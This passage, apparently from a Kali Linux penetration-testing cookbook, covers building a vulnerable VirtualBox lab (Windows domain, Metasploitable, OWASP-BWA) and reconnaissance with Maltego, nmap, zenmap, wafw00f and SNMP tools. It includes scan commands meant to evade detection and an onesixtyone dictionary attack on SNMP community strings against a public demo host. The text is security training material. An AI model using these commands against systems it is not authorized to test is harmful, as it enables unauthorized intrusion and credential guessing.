the system, both prior to and after the installation of Windows updates.
You maybe asked to create a password for the administrative user. If this
is the case, then create a user and password that will be easy to remember
and refer to in future chapters.

11. Once you have completed the installation of Windows 7, reboot the machine, and
login when presented with the login screen.

12. Once logged in, change the machine name to Win7_Desktop_1, and reboot.
13. Go into the virtual host settings, and ensure that the network adapter is assigned to

the host-only network that we created earlier in this section.
14. Now that the machine has been properly configured, we will clone it to create a

second instance of Windows 7 desktop. 

Cloning of machines makes it very easy to create a gold image and
working copies from this image. It is different than snapshots, which
create point-in-time references that can be rolled back to if need be.

15. To create a clone of the Windows desktop machine, you will need to power it up
using the Start option. Once started, do not log into the machine; but rather from the
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desktop view, from the top menu bar, select Machine | Take Snapshot... to start the
snapshot creation process:

Create snapshot

16. In the next screen, you will be given the opportunity to name and provide details
about the purpose of this snapshot. Since it is likely that we will be returning to
this state frequently, name it Initial Installation, and in the description, indicate that
this is a clean Windows build, and that the snapshot was taken before AD domain
membership:

Creating a VirtualBox snapshot

17. VirtualBox will now generate a snapshot. Depending on the system, this may take
several minutes. Once complete, power down the system using the power buttons
on the lower-right part of the login screen – do not login at this time.

18. Now that the initial host has been set up, we will need to create the clone of this
device. To do so, right-click on Windows 7 Desktop 1, and select Clone... from the
dropdown menu:
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Start cloning process

19. When prompted, name this Windows Desktop 2, and select the option to reinitialize the
MAC address of all available cards. Click on Next.

20. When given the option to do so, select Full Clone as the clone type, and click on
Next.

21. Since we will be creating a new snapshot of this system in a subsequent step,
choose the option for Current Machine State as the options for snapshots, and click
on Next. This will start the cloning process, which may take several minutes.

22. Once completed, we will start this host as well as we did with the first Windows 7
Desktop 1, but this time, we will log in when prompted to do so.

23. Once logged in, you will need to change the name of the machine to Win7_Desktop_2.
Allow the machine to reboot.

24. Once back at the login screen, create a snapshot as we described earlier.
25. We will now install the Windows 2008 server in the same manner we did the

Windows 7 desktops, ensuring that the device is assigned to the host-only network
that we created in a previous section.

26. With all the default options chosen, install Windows 2008, and log in for the first
time. The first time you log in, you will be presented with the Initial Configuration
Tasks tool. From this tool, configure only the following:

Set time zone Set to your timezone

Configure networking

Set the IP information as follows:
IP Address: 192.168.56.10
Subnet Mask: 255.255.255.0
Gateway: 192.168.56.1
DNS Server: 192.268.56.1
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Computer name and domain Computer name: AD-Server
Leave set to workgroup for now

Initial Windows server configuration:

27. Reboot the server after these options are set, and log in. The Initial Configuration
Tasks wizard will open again. Scroll down to the section named Add Roles; here
we will add the DNS and DHCP roles to this server.

 

28. Select all the default options, except the following:

Page Option Setting

Specify IPv4 DNS Server
Settings Parent Domain kalicookbook.local

Add of Edit DHCP Scopes
(click on ADD) Scope Name Lab

Starting IP Address 192.168.56.100

Ending IP Address 192.168.56.150

Default Gateway 192.168.56.1

Configure IPv8 Stateless
Mode

Select the DHCPv6
Stateless Mode...

Disable DHCPv6 stateless mode
for this server

 Initial role configuration
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29. Once all the preceding has been completed, reboot the server, and log into each of
the desktops to make sure that they get an IP address from the AD server and that
you can ping each host by their IP addresses. We will configure DNS in a later
step.

30. After you have confirmed that network connectivity between your hosts is working
properly, close all open windows, and create a snapshot as we have done in the
past.

31. With the desktop machines created and functioning, you will need to enable basic
services on the AD server. After logging into the server, you will be presented
with the Initial Configuration Tasks wizard again. Once presented, scroll down to
Customize this Server section, and click on Add Role.

32. In the section called Select Server Roles, select and install the following:
File services
Remote desktop services
Web server (IIS)

If you are prompted to include dependencies, accept, and continue.

33. As you progress, you will need to select certain options for each of the roles added
previously:

1. Remote desktop services:
Select only Remote Desktop Session Host and click on Next
Select Do Note Require Network Level Authentication
Select Configure Later to defer the licensing of the remote desktop until a
later date (120 days max)
Permitted user groups: Leave administrators in place and continue

2. Leave all the remaining options as the default and continue. Reboot when
prompted to do so, and log in once more; you will automatically return to the
Add Roles wizard. Confirm that the installation was successful.

34. Return to the Add Role wizard, and select this time to install Active Directory
Domain Services. Click on Install AD DS Anyway (not recommended) when
presented with the dialog box confirming installation on a domain controller, and
accept any dependencies that maybe required. Continue through the installation
process with the remaining default options. When complete, select Close.

35. In the left menu, select Active Directory Domain Services; and in the right pane,
select Run the Active Directory Domain Services Installation Wizard
(dcpromo.exe). As you go through the wizard, select the default options, except for
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the following:
Choose a deployment configuration: Create new domain in a new forest
FQDN of the forest root domain: kalicookbook.local
Forest functional model: Windows server 2008 R2
Once prompted, reboot. Confirm there are no errors

36. You will now need to log into each of the Windows 7 desktops and join them to the
kalicookbook.local domain.

37. Log into each machine and ensure that Windows updates are disabled. Make sure
the Windows firewall is also disabled.

38. Create snapshots of each to give us a foundation to work from as we progress
through this book. Snapshots will allow us to go back to pre-determined points in
time.

||||||||||||||||||||

https://technet24.ir
https://technet24.ir
https://technet24.ir


||||||||||||||||||||

||||||||||||||||||||

https://technet24.ir
https://technet24.ir


Installing Metasploitable
Metasploitable is a key component of our testing environment. It is based on the Ubuntu
Linux operating system and is made specifically exploitable for penetration testing
purposes. This VM should never be exposed directly to the internet, and, for our
purposes, we will use the host-only network to bind to.
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Getting ready
Before you start, ensure the following prerequisites:

The VirtualBox hypervisor is running
The Kali Linux VM is shut down
You download the Metasploitable image from https://sourceforge.net/projects/metasploitable/file
s/Metasploitable2/
Take note that the default username, and the password is msfadmin for both
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How to do it...
The installation of Metasploitable is done in the following manner:

1. Start by unzipping the Metasploitable ZIP (at the time of publication this was
metasploitable-linux-2.0.0.zip) file that you previously downloaded.

2. Change the directory name that was extracted to metasploitable.
3. Find where your main VirtualBox storage is.
4. Windows default: c:\users\<username>\virtualBox VMs
5. Mac default: /users/<username>/VirtualBox VMs

You should see a directory under the main path for the Kali Linux VM you
installed earlier.

6. In this directory, create a new folder called Virtual Disks. This will make the
following path:

...\VirtualBox VMs\Virtual Disks.

 

7. Move the metasploitable directory that was created when you unzipped the file
earlier under the \Virtual Disks\ directory you created.

8. Open the VirtualBox manager application, and select New from the top-left corner.
To quicken the installation if we are not in expert mode, let's select it by clicking
on Expert Mode at the bottom.

You will know you are in Expert Mode if you see an option for Guided
Mode at the bottom.
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9. Let's name our VM Metasploitable. Select Type as Linux and Version as Linux 2.6 /
3.x / 4.x (64-bit), enter 2048 for the memory size.

10. Select Use an existing virtual hard disk file, and click on the file icon on the right;
and browse for the metasploitable.vmdk file under the directory from the prior step;
then click on Create.

11. We will now be brought back to the main VM VirtualBox manager screen. Click on
the Metasploitable VM to highlight it, and then click on Settings.

 

12. Click on Network and, for Adapter 1, select the Host-only Adapter and the Name
as vboxnet0; lastly, click on OK:

Metasploitable - network dialog

13. You will now be brought back to the main VirtualBox manager screen. Click on
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Metasplotable to highlight it and click on Start.
14. Once the VM is started, you will be brought to the main login screen:

 Metasploitable main login screen

To shut down this VM, you have to log in and issue the command, sudo
shutdown -h now. Although the VM itself shuts down, it will not end the
VirtualBox session. You must select the Red X at the top of the screen.
This will provide a dialog box; select the radio button Power off the
machine and click on Ok.
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Installing OWASP-BWA
The Open Web Application Security Project (OWASP), is a global community that
focuses on security awareness and the development of secure applications. While this
may be thought of as a single application or platform, OWASP is actually a collection of
projects that can focus on any number of aspects of applications security. For this
recipe, we will focus on the OWASP Broken Web Application (BWA) project to
provide us with a standardized platform for the testing of our tools in later chapters.
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Getting ready
To install the OWASP-BWA image, we will need to do the following:

Download the latest version of OWASP-BWA in compressed form from https://sourcef
orge.net/projects/owaspbwa/
Have VirtualBox installed and configured
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How to do it...
To install OWASP-BWA into our VirtualBox environment, we will do the following:

1. Unzip the ZIP file containing the OWASP-BWA files into a location you will
reference in the next few steps.

2. From the console of VirtualBox, on the upper left, we will select the New icon to
begin the creation of a new virtual machine.

 

3. We will name our new virtual machine OWASP-BWA, and define it as a 64 bit Ubuntu
Linux system:

Creating a virtual machine for OWASP-BWA

4. Leave the default memory allocation as 1024 MB, and click Next.
5. You will now select Use existing virtual hard disk and navigate to the directory

where you unpacked OWASP-BWA. From that directory, select the following and
click Create:

Selection of OWASP-BWA virtual disk
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6. Once you have created the virtual machine, we will need to make sure that the
correct network interface has been designated. Right-click on on our new host on
the left, and select Settings. Navigate to Network and ensure that the Adapter 1 is
attached to the Host-only Adapter, and that the other adapters are not enabled:

Designating the network adapter for OWASP-BWA in VirtualBox

7. Once complete, start the new virtual machine and ensure that it boots properly.

It is very likely that fsck will run when first started due to the length of
time since last run. You can allow this to complete to ensure there is no
observed disk corruption - it only takes a few minutes.

8. Once fully booted, login as root with the password owaspbwa.
9. Ensure that you are receiving an IP address from DHCP by issuing ifconfig eth0

from the command line.

 

10. Open a web browser, and navigate it to the IP address of the OWASP-BWA guest.
Ensure that you are able to see the different projects within OWASP-BWA. If you
are able to see the following web page, you have successfully configured OWASP-
BWA:
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Confirmation of services running on OWASP-BWA
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Understanding hack me and other online
resources
There are several other resources that can be accessed either online or installed
in VirtualBox that you can use to hone your penetration testing skills. The following list
contains few resources you may want to explore as a supplement to the exercises in this
book:

hack.me Easy to advanced
challenges

https://hack.me/

Hack this site Easy to advanced
challenges

https://www.hackthissite.org/

Vulnerable by design Easy to advanced
challenges

https://www.vulnhub.com/

Bee-Box Vulnerable web sites https://sourceforge.net/projects/bwapp/files/bee-box
/

Moth Vulnerable web
applications

http://www.bonsai-sec.com/en/research/moth.php

RasPwn Vulnerable Raspberry Pi
image

http://raspwn.org/

OWASP-BWA OWASP broken web
application

https://www.owasp.org/index.php/OWASP_Broken_
Web_Applications_Project

Hackfest 2016 Sedna Medium difficulty - root
access

https://www.vulnhub.com/entry/hackfest2016-sedna,
181/
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Hackfest 2016 Quaoar Easy machine to own https://www.vulnhub.com/entry/hackfest2016-quaoa
r,180/

Pentester Lab: XSS and
MySQL File

Easy SQL injection
example

https://www.vulnhub.com/entry/pentester-lab-xss-an
d-mysql-file,66/

SQLInjection to Shell Intermediate - SQL
injection to shell

https://www.vulnhub.com/entry/pentester-lab-from-s
ql-injection-to-shell-ii,69/

Damn vulnerable web
application

Vulnerable -
PHP/MySQL
application

https://github.com/Hackademic/hackademic

Hackxor Webapp hacking game http://hackxor.sourceforge.net/cgi-bin/index.pl

WebGoat Medium level challenge https://www.owasp.org/index.php/Category:OWASP
_WebGoat_Project
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There's more...
The preceding resources will be installed on a variety of different methods that are
beyond the scope of this book. But I will quickly mention some of the deployment
options:

Virtual machines that, can be installed in VirtualBox
Scripts that can be run on standard Linux machines to build applications and make
them specifically vulnerable to attacks
Resources that you may attack over the internet 
Complete self contained hacking environments

Please ensure that as you are working with these sites, you read carefully
the terms of service and understand all requirements and limitations of the
environment or tools you are working with. Also be careful if you are
remotely hacking sites across the internet. Although there are some of
these options available for testing and it may be perfectly legal to do so,
your Internet Service Provider (ISP) may flag the activity as malicious
and take action against you.
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Reconnaissance and Scanning
In this chapter, we will cover the following topics:

Using KeepNote to organize our data
Getting up and running with Maltego CE
Gathering domain information
Gathering public IP information
Gathering external routing information
Gathering internal routing information
Gathering cloud service information
Identifying network hosts
Profiling hosts
Identifying whether there is a web application firewall
Using SNMP to gather more information
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Introduction
In this chapter, you will learn the skills necessary to gather information about your target
environment. We will spend time trying to identify as much information as possible. The
more information we can gather will provide us with more potential vectors for
possible penetration in the environment as well as make those penetration attempts more
successful. We will gather domain names, IP subnets, hosts, routing information, as well
as other useful information. You will also learn how to keep track of this data, so we
can refer to it in the future as we progress through our penetration testing environment. 
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Using KeepNote to organize our data
We will explore the application KeepNote and how you can use it to capture the
information we discover during our testing.

It will be very important for you to record all the information in detail, as this
information will be useful in later chapters, as well as for the reports that you need to
create for your customer. Kali actually provides some useful purpose-built tools for
recording your information. Don't reinvent the wheel; if you have already used a note
taking tool like Microsoft OneNote or EverNote, just stick to it. However, if you don't
do this, Kali does provide a cross-platform, note-taking application called KeepNote
that you can use if you don't have a preference. But always remember that, as a
penetration tester, you are gathering information that can be used to do great harm to a
customer, so remember security and privacy when you decide on the tools you use to
record the data you gather.
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Getting ready
Let's ensure the following prerequisites:

Kali Linux is running, and you are logged in as root
Validate the internet connectivity
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How to do it...
In this recipe we will learn how to use KeepNote in order to collect and organize the
data we collect:

1. Click on Applications. Slide your mouse down and highlight 12 - Reporting Tools,
and click on the KeepNote icon:

2. From the main KeepNote screen, select File | New Notebook. We will be provided
with a file navigation screen. So, select /root/Documents and type in your customer
name (for example we will use customer_1), and click on New:

KeepNote - New Notebook screen
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3. One of the first pieces of information we want to capture is basic company details.
Click on File | New Page, name it Company Info, and press Enter:

KeepNote - New Page screen

4. Populate it with whatever information you can find about your target. Use Google
searches, go through its website and if it's a public company gather their financial
and SEC filing information:
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KeepNote - Add information screen

5. Click on File | New Child Page, and call it e-mail addresses. Add any email address
you can find:
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KeepNote - New Child page

6. To save the notebook, click on File | Save Notebook.
7. To quit, click on File | Quit but make sure you always save it first.

You're never going to be done recording information. Every little piece of
information you find, log it and keep it organized. You can add output
information from the commands you run, from images, and from
screenshots. After you do a few of these, you will find that you may be
able to start with a basic template of information. You can create a generic
template that has pages and child pages already set up. Just copy it over
for your new notebook whenever you start a new engagement. You can
continue modify and adjust these template as you find new categories of
information you want to capture.
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There's more...
Explore the http://keepnote.org/ website to get more information on the KeepNote application
and its capabilities.
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Getting up and running with Maltego CE
We will be using the maltego community edition (Maltego CE) for several more
recipes. This chapter will take us through the initial setup of Maltego. Maltego is a tool
designed for data mining and discovery. It will place the information in a knowledge
graph that you can continue to build and pivot from to help discover and gather
information. This information can then be leveraged to expand our attack surface.
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Getting ready
Let's ensure the following pre-requisites:

Kali Linux is running and you are logged in as root
Validate network connectivity to the internet
Sign up for a Maltego community edition account through https://www.paterva.com/web7/co
mmunity/community.php
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How to do it...
In this recipe we will get Matego - Community Edition registered and setup:

1. Launch Maltego CE by going to Applications | 01 - Information Gathering. Click on
maltegoce:

Kali application menu screen

2. You will be brought to a welcome Screen. Click on Next to Continue.
3. You will now be brought to Install Transforms From: Screen. Ensure that there is a

check mark in the Maltego public servers, and click on Next.
4. At the Ready...Set...Go! screen, select Go away, I have done this before!, and

click on Finish.

5. Click on the Maltego CE icon in the top left-hand corner of the screen, and select
Log in to Community Server at the bottom:
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Maltego icon

6. Log in with the credentials you created in the preceding Getting ready section, and
click on Next:

Maltego logon screen

7. You will be presented with a screen providing the personal details that you used
when registering; click on Finish.

The API key Maltego provided through your login is good for three days.
Every three days, you will have to log back in to obtain a new API key.

8. Now that we are all done, we should be brought to Transform Hub. To start, let's
click on Refresh Transform Hub to ensure we have the latest list of transforms
available.

9. Once Transform Hub is refreshed, you can start by installing all the transforms
listed.

10. You can easily install a transform by clicking on it and selecting Install.
11. After you install your transforms, you can go through and, by clicking on them,

check whether there are any settings that you may need to, or want to, modify. In
particular, you may need to set up credentials for other transforms as needed, in
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order to use them.

A transform is an operation that will take a bit of data and analyze it
against a predefined set of characteristics and add that information to the
graph. Later, we will review machines that our groups of transforms put
together in a macro. Here, we can carry out successive data operations by
linking multiple transforms together in a series. Please note that the
community edition of Maltego is limited to 12 entries returned per
transform, which may require you to run certain transforms multiple times,
or with less granular information, to receive all the information.
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There's more...
You can read more information on Maltego at https://docs.paterva.com/en/user-guide/. There are
many other transforms available for Maltego that you can search for online. Here are a
few links to get you started:

https://maltego.shodan.io/
http://packetninjas.net/tools/socialnet.html
https://code.google.com/p/recordedfuture/downloads/detail?name=RF_Maltego_Package_1.0.tgz
https://github.com/allfro/sploitego
https://github.com/catalyst256/Watcher
https://github.com/digital4rensics/Malformity
https://www.threatminer.org/maltego.php
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Gathering domain information
In this recipe we will use Maltego CE to gather Internet Domain information. If we are
mainly working an external, internet based, penetration test. This information will
provide of plenty of valuable information regarding the public aspects of there network.
This tool will start with a domain name and pivot out to several different aspects of
publicly available domain information.
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Getting ready
Let's ensure the following prerequisites:

Kali Linux is running and you are logged in as root
Validate network connectivity to the internet
Maltego is running
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How to do it...
In this recipe we will use Maltego CE to gather information about a target's domain
name:

1. In the upper left-hand corner, click on the new graph button:

2. On the left, select Entity palette. Scroll down to Infrastructure, and click on
Domain. Drag it onto the graph.

3. Rename paterva.com to example.com; example.com will suffice as the target domain for this
round of testing:

Maltego - New Graph page
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We will use example.com for some of our initial testings. The example.com is a
reserved site dedicated to documentation. It has some infrastructure
behind it. The infrastructure is minimal, so some results will not be
complete. You can use example.com for your testing or a domain you are
authorized to access. 

4. Right-click on the example.com domain icon, which will show you a variety of
transform options. Let's start by getting the whois information. Navigate to Threat
Miner | [Threat Miner] Domain to Whois Details. This will reach out and pull all
the publicly available information on the domain. If you now double-click on the
domain icon, and select Properties (14) from the top. Then, you will see that all the
information is populated:

Spend a minute getting used to how the transform interface works. Right-
click on example.com to open the Run Tansform(s) dialog. Along the left
edge, you may notice a return arrow, which can bring you back in the
transform menu. Depending on where you are, you may need to click back
a couple times to get back to the root transform screen; go into a couple of
the populated choices as needed.
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5. Continue building the graph and have it populate the name servers. Right-click on
example.com, and select Paterva CTS | DNS from Domain | To DNS name - NS (name
server). You will now see our name servers populating:

Maltego - example.com graph with name servers

||||||||||||||||||||

Hiva-Network.Com

https://technet24.ir
https://technet24.ir
https://technet24.ir
http://www.hiva-network.com/


||||||||||||||||||||

||||||||||||||||||||

https://technet24.ir
https://technet24.ir


There's more...
There is a tremendous amount of additional information that you can use Maltego to
gather. Spend some time trying to obtain more domain-related information. Test some
different transforms, even if one transform fails to gather a particular type of data,
another transform may succeed in gathering it. Also you can use Maltego to discover
other domains that may be related to the company. Perhaps, they have example.com and
example.org that have different mappings, so take the time to explore and gather all the
information you can. 

We will continue to use Maltego for further examples, so, either save your
graph at this point so that you can come back to it, or continue with other
operations.
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Gathering public IP information
We will now use Maltego to obtain the external host, the IP address, and some netblock
information.
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Getting ready
We want to continue from where we left off with the last section, so, if you are coming
back to the book after a while, open your saved Maltego graph from the Gathering
domain information recipe.
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How to do it...
In this recipe we will use Maltego CE to gather a company's public IP information:

1. Starting from the graph screen, right-click on the example.com domain icon and select
Paterva CTAS | DNS from Domain | To Website [Quick lookup]. You will now
discover www.example.com:

Maltego - Graph screen with www.example.com

Against a real domain, try the following transforms to further propagate a
list of hosts. Some of the transforms you may want to try are; Paterva
CTAS | DNS from Domain | To DNS Name [Using DB] and Paterva
CTAS | DNS from Domain | To DNS Name [Find common DNS names].

2. Now let's resolve the host names of all objects to their corresponding IP addresses.
Start by highlighting multiple objects by clicking and dragging across the ones you
want to select. Once those items are highlighted right-click and Select Paterva
CTAS | Resolve to IP | To IP Address [DNS]:
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Maltego - Graph screen with www.example.com

3. Let's obtain netblock information for www.example.com now that we have its IP address.
Right-click on the IP address in the question, and select All Transforms | To
Netblock [Using routing info]:
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Maltego - Graph screen with www.example.com

We will be continuing to use Maltego for further examples, so, either save
your graph at this point so that you can come back to it, or continue on
with other operations.
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Gathering external routing information
We will now use Maltego to obtain external routing information. External routing
information can provide us with valuable information such as who their internet service
providers are and how their traffic flows.
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Getting ready
We want to continue from where we left off with the last section, so, if you are coming
back to the book after a while, open your saved Maltego graph from the Gathering
public IP information recipe.
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How to do it...
We will use Maltego CE to gather BGP autonomous system information:

1. By right-clicking on the IP netblock, we can now obtain the BGP AS number
assigned to this netblock by selecting Paterva CTAS | To AS number:

Maltego - Graph screen with www.example.com

2. Next, we want to find the owner of the AS number in question. Right-click on the
AS number and select All Transforms | To Company [Owner].

We will be continuing to use Maltego for further examples, so, either save
your graph at this point so that you can come back to it, or continue on
with other operations.
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Gathering internal routing information
We will use zenmap to provide a graphical representation of our network. Zenmap is a
graphical front end to nmap. Zenmap does have some advantages over nmap, especially
when it comes to providing certain graphical outputs. We are going to use it to provide a
visual look at our target network. By obtaining information about how the internal
network is layed out we can use this information to spread attacks beyond just the local
subnet. 
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Getting ready
Let's ensure the following prerequisites:

Kali Linux is running and you are logged in as root
Validate network connectivity to the internet
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How to do it...
We will use zenmap to graphically map our network out to a predefined point:

1. Open zenmap by selecting Application | Information Gathering - zenmap. Spend a
minute and examine the interface. You have some profile scans, and you can create
your own to perform repetitive tasks. You will also see several output tabs. The
one we will concentrate on a bit will be the Topology section:

Zenmap - Main start screen

2. Start by using an nmap traceroute scan using ICMP to map the path that we have to
scanme.nmap.org. In the target screen, type scanme.nmap.org, and we will use the
following options: -sn for a simple ping scan, -PE to specify protocol ICMP, and -
traceroute to indicate that we want traceroute information to the destination. Once
done, click on Topology to see a graphical view of our network. This information
can be used to see other areas we may want to scan:
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Zenmap - External topology scan

3. If we have internal access to the network, we can try scanning it against the
RFC1918 address block. For speed, we specifically just did the 192.168.0.0/16
address block. As you see, we have found other address blocks that are worth
exploring:
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Zenmap - internal topology scan

This will be a fairly noisy scan, so, in a typical penetration testing
scenario, we would be more tactical with our scans. We would do this by
tracerouting to some specific things that we would know of: internal DNS
servers, domain controllers, and so on. We will use this information to be
more specific and narrower with our scans.

4. You can click on Save Graphic, and save the topology as a PDF or PNG file, and
insert it into KeepNote. You can also save the entire scan by going to Scan | Save
Scan for later reference, or to continue to grow your knowledge of the network host
and the host discovery.
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There's more...
Remember zenmap provides all the nmap capabilities and functionalities. Try some
additional scans including traceroute, and try to use it to a build a map of your internal
home network or a network you are authorized to use.

Also, for additional information, take a look at https://nmap.org/book/zenmap.html.
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 Gathering cloud service information
We next want to discover whether the target is using any cloud-based services. Based
on the IP addresses we have found we can see if there are multiple different domain and
host information associated with an individual IP Address which would indicate some
form of cloud based service.

Cloud services come in several different forms and offerings. Cloud services originally
started the as a service trend with Software as a Service (SaaS), such as Office 365
and Exchange 365 and a Platform as a Service (PaaS) like AWS and Azure. Today,
many organizations rely on cloud-based systems. Sometimes, these systems are
controlled, managed, and monitored as part of the data center infrastructure. At other
times, this use is regarded as Shadow IT. Shadow IT refers to the services that are
brought up outside the corporate IT environment and control. They are often used for
development purposes or to actually get around restricts or delays based on standard
corporate IT policies. These environments can be rich with information; in fact, some of
the more recent breaches of Personally Identifiable Information (PII) have been from
either unsecured or badly secured test applications, where they used real data in the
databases. 
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Getting ready
We want to continue from where we left off with the last section, so, if you are coming
back to the book after a while, open your saved Maltego graph from the Gathering
public IP information recipe.
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How to do it...
We will now use Maltego CE to obtain information about network blocks and hosts:

1. We can get some more information about the netblock by right-clicking on it and
selecting All Transforms | To Entities (NER):

Maltego - Graph screen with www.example.com

2. Analyze the information to see if there are any signs of it being a cloud service
provider; there are no chances in this case, but let's try something else.

3. The following is the output from another domain. In this case, we see that this
website (not disclosed) is being hosted by Weebly, a popular web hosting
company:
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Maltego - Graph screen with reference to weebly

Run this function against all the IP addresses you can find through the
various items of domain information that we have worked on in the past,
to see if any of them register back to a known service provider.

||||||||||||||||||||

||||||||||||||||||||

https://technet24.ir
https://technet24.ir


||||||||||||||||||||

https://technet24.ir
https://technet24.ir
https://technet24.ir


Identifying network hosts
There are various methods we can use to scan for hosts on internal or external networks.
We will explore some of these in detail. We will use nmap for several examples in this
section. TCP port scans are default within nmap as most of our well-known servers
running using TCP. However, from a penetration standpoint, there are some very useful
UDP ports that might be open that could provide us with attack vectors such as SNMP.

||||||||||||||||||||

||||||||||||||||||||

https://technet24.ir
https://technet24.ir


||||||||||||||||||||

https://technet24.ir
https://technet24.ir
https://technet24.ir


Getting ready
Let's ensure the following prerequisites:

Kali Linux is running and you are logged in as root
Bring up your other test machines (Metasploitable and Windows)
Validate network connectivity to the network you plan on scanning
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How to do it... 
We will use nmap and various command line options to perform a variety of different
scans:

1. Open the terminal screen by clicking on the terminal icon:

2. From the main terminal screen, you should be at a Command Prompt of root@kali:~#.
3. Type nmap and press Enter. A list of options should fill the screen; briefly, review

the list of options.
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A simple subnet scan
We will perform simple scan of a subnet:

Perform a simple subnet scan of your lab network, 192.168.56.0/24. Substitute the subnet
you created for your lab network in the section installing Kali on VirtualBox :

nmap 192.168.56.0/24 

This command will scan 1000 popular ports of all targets in a specific subnet range.
Examine the output. In the case of our Metasploitable machine (192.168.56.102), we will
see the following output. From this output, we can identify the IP address as well as the
number of open ports:
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Scan all the TCP ports of a host
To perform a full TCP scan of our Metasploitable machine, 192.168.56.102, we add the
command line option -p-. Substitute the IP address for your Metasploitable virtual
machine:

nmap -p- 192.168.56.102

This command will scan all the TCP ports of the target device. The following is the
output of our scan. You will notice that we have discovered some new open ports:
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Performing a TCP SYN scan
TCP SYN scans, otherwise known as half open scans, are very useful because of their
specific scanning nature; they are often not logged by the target device. This allows you
to scan a host without leaving traces of the scan:

nmap -sS -p- 192.168.56.102 

Upon scanning the host, you will notice that we have discovered the same open ports.
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Performing a UDP port scan
Performing UDP scans against targets provides us with additional vectors of attacks. We
are also going to add a couple of extra CLI options. We have also added to other
command line options -r for randomize, which will help avoid detection by security
devices such as IDS and IPS servers and the -v for verbose, allowing us to see action
more quickly. This scan will take several minutes to run, so it's nice to know what it's
doing while we wait:

nmap -sU -r -v 192.168.56.102 

You will see from the output that we did find a few UDP ports open that we can explore
later:
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The nmap output formats
There are several types of output that you can use for simple logging of the data, logging
in an XML format for potential input into another program, or outputting for grep:

nmap -oN filename.txt N is a standard default text output format

nmap -oG filename.txt G is a format so you can better run grep against the file

nmap -oX filename.xml X is for an XML format

Let's take a simple scan and output it to a file for grep:

nmap -p- -oG 192_168_56_102.txt 192.168.56.102

You will see the output on the screen, and it will also output to a TXT file in your home
directory, which you can use as a target for grep:
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Profiling hosts
We will continue to use some advanced functions of nmap to provide us with additional
information about a particular host.
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Getting ready
Let's ensure the following prerequisites:

Kali Linux is running and you are logged in as root
Bring up your other test machines (Metasploitable and Windows)
Validate network connectivity to the network you plan on scanning
Internet connectivity
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How to do it...
We will now provide more targeted nmap scans against particular hosts to obtain further
information about the ports and protocols that are open:

1. Open the terminal screen by clicking on the terminal icon on the top-left corner:

 

2. From the main terminal screen, you should be at a Command Prompt of root@kali:~#.
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Operating systems and service detection
The following command will run an operating system and service discovery of our
Metasploitable host:

nmap -A 192.168.56.102

You will notice a considerable amount of information provided in the output. Starting
from the bottom you will see that it correctly identified the machine as well as other
useful information:

As we scroll through the output we see a considerable amount of information about
running services. It gives us detailed information about the specific service being run on
the port, version information, and other relevant information. The following is an
example of the VNC port:
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Aggressive service detection
To perform an aggressive service scan against a host, we will use the following
command:

nmap -sV --version-intensity 5 192.168.56.102

You will see we get a nice consolidated output of open ports, service, and the version
information:
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There's more...
If you are interested in learning more about nmap please take a look at https://nmap.org/nmap_
doc.html. Also, for all those who would rather use a graphical interface to nmap, there is
zenmap. Why don't you open it and try a few scans with it? Lastly, if you want to try a
target on the internet for some testing of nmap or zenmap, try it against scanme.nmap.org.
This site is available as a training aid for you to do scanning as long as you don't get too
aggressive with your testing.
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Identifying whether there is a web
application firewall
We will use wafw00f to identify whether there is a web application firewall between us
and our target website.

Many organizations will use a Web Application Firewall (WAF) to protect websites
from web-specific attack. Understanding that a security device sits between you and
your target is extremely important. You will need to obfuscate and avoid detection. You
will have to be more targeted and use special techniques to penetrate the website even
with the WAF in place.
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Getting ready
Let's ensure the following prerequisites:

Kali Linux is running and you are logged in as root
Validate the internet connectivity
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How to do it...
In this recipe we will use wafwoof to see if there is a web application firewall in our
path:

1. Open the terminal screen by clicking on the terminal icon on the top-left corner:

 

2. From the main terminal screen, you should be at a Command Prompt of root@kali:~#.
3. Let's examine a site without a WAF:

 wafw00f scanme.nmap.org 

4. The wafw00f will provide results showing there was no detection of a WAF
protecting scanme.nmap.org:

wafwoof output - no WAF

5. Now, we can examine a site with a WAF using the following command:

 wafw00f www.example.com

6. Here, we will see an indication of a WAF protecting the site:
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wafw00f - www.example.com

7. Now, we will examine another site protected by a WAF using the following
command:

 wafw00f example.uk 

8. We will note that a different indication has been triggered:

wafw00f - example.uk
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Using SNMP to gather more information
We can use hosts that we identified through nmap as having open SNMP ports or
services running, to try and gather more information.

The Simple Network Management Protocol (SNMP) is a protocol used to provide
status and configuration for various devices including servers, workstations, network
appliances, IoT devices, and other hosts. This protocol provides both a read-only and
read-write functionality. Quite often, devices have been deployed with read-only
available by default. Network administrators will often enable read-write access for
management purposes. The default passwords for SNMP on many devices is public for
a read-only access and private for a read-write access. There are three types of
SNMPs. While version 1 has been mostly deprecated, version 2 is still quite common,
and version 3 is gaining in use due to it's better security and authentication system. We
will focus on version 2 for this testing
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Getting ready
Let's ensure the following prerequisites:

Kali Linux is running and you are logged in as root
Validate internet connectivity
Resolve the IP address of demo.snmplabs.com (at the time of the writing this book, it
was 104.236.166.95)
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How to do it...
1. Open the terminal screen by clicking on the terminal icon on the top-left corner:

 

2. From the main terminal screen, you should be at a Command Prompt of root@kali:~#.

3. Perform a simple scan of the target device using snmp-check. By default, many SNMP
implementation uses public and private as default SNMP passwords. If we know
the password or can guess it, we can substitute it for the default public in the
following command:

snmp-check -v2c -c public 104.236.166.95

4. Looking at the output we see a significant amount of information was displayed
about the host. There is network interface information, routing information,
services running and TCP/UDP ports open, as well as a variety of system
information:

snmp-check - command output

5. In the case where we may not know the credentials used for SNMP, we can attempt
to use a dictionary attack against the host to guess the credentials using onesixtyone:
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 onesixtyone -c /usr/share/doc/onesixtyone/dict.txt 104.236.166.95

6. You will notice the output from the commands show that both public and private
are available for the host. We used the built in dictionary file provided with
onesixtyone. It's important to note that this only has a few potential passwords in it:

onesixtyone - command output
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There's more...
There are a variety of dictionary files that provide more complete password lists that
will give you an increased chance of discovering the appropriate passwords for the host
in question. Check out https://github.com/danielmiessler/SecLists/tree/master/Miscellaneous. 
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Vulnerability Analysis
In this chapter, we will cover the following topics:

Installation and configuration of OpenVAS
A basic vulnerability scanning with OpenVAS
Advanced vulnerability scanning with OpenVAS
Installation and Configuration of Nessus
A basic vulnerability scanning with Nessus
Advanced vulnerability scanning with Nessus
The installation and configuration of Nexpose
Basic vulnerability scanning with Nexpose
Advanced vulnerability scanning with Nexpose
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Introduction
Once access to a network has been gained and the systems within that network have
been identified, the next step is establishing a foothold and persistent access. There are
several tools that are available to help identify and exploit systemic vulnerabilities, but
we will be focusing only on three of them in this chapter:

